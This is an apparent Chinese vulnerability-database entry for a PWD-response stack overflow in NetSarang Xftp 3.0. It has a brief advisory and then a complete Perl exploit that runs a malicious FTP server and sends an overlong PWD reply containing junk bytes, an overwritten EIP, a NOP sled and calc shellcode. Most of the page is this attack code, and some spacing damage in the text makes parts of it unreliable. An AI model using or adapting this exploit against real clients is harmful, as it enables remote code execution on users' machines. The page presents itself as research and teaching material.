厂商NetSarang Xftp 3.0 PWD响应栈溢出漏洞

影响版本:

NetSarang Xftp 3.0漏洞描述:

Xftp是Windows平台上使用的SFTP、 FTP文件传输程序。

如果Xf tp客户端受骗连接到了恶意的FTP服务器或打开了特制的.xfp会话文件并发送了超长命令的话，则在处理服务器返回的PWD响应时就可能触发栈溢出，导致执行任意代码。 <*参考http://secunia. com/advisories/39554/

*>

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!# Exploit Title:Xftp client 3.0 PWD Remote Exploit

# Date: 2010-04-21

# Author: zombiefx

# Software Link: http://www.netsarang.com/download/down_xft3.html

# Version: Xftp 3.0 build 0238

# Tested on: Windows XP SP3

# Usage: ./xftp_exploit

# The BOF occurs when sending an overly long PWD response.

# Code:

#!/usr/bin/perl use warnings;use strict;use IO: :Socket;

my $sock = IO: :Socket: :INET->new( LocalPort => '21' , Proto => ' tcp' , Listen => ' 1' )or die "Socket Not Created $!\n";print "#############################################################\n"

. "#Xftp client 3.0 PWD Exploit #\n"

. "#Listening on port 21 #\n"

. "#By:zombiefx Email: darkernet[at]gmail. com #\n"

. "#Major Greetz to corelanc0d3r/Dino Dai Zovi #\n"

. "#############################################################\n";my $junk = "\x41" x 1019;my $eip = pack( 'V' , 0x100123AF ) x 4; #Universal . . i think my $nops = "\x90" x 55;my $calcshell =

"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"

. "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"

. "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"

. "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"

. "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"

. "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"

. "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"

. "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a"

. "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"

. "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"

. "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"

. "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"

. "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"

. "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"

. "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"

. "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"

. "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"

. "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"

. "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"

. "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"

. "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"

. "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";my $payload = $junk . $eip . $nops . $calcshell ;while ( my $data = $sock->accept() ) {print "Client Connected!\nAwaiting Ftp commands: \n";print $data "220 Microsoft FTP Service\r\n";while (<$data>) {print;print $data"331 Anonymous access allowed. \r\n" if (/USER/i) ;print $data "230-Welcome to FTP.MICROSOFT.COM.\r\n230 User logged in. \r\n" if (/PASS/i) ;print $data"257 \"/$payload\" is current directory. \r\n" if (/P WD/i) ;

}print "Payload delivered check the client!\n";

}

安全建议:

厂商补丁：

NetSarang

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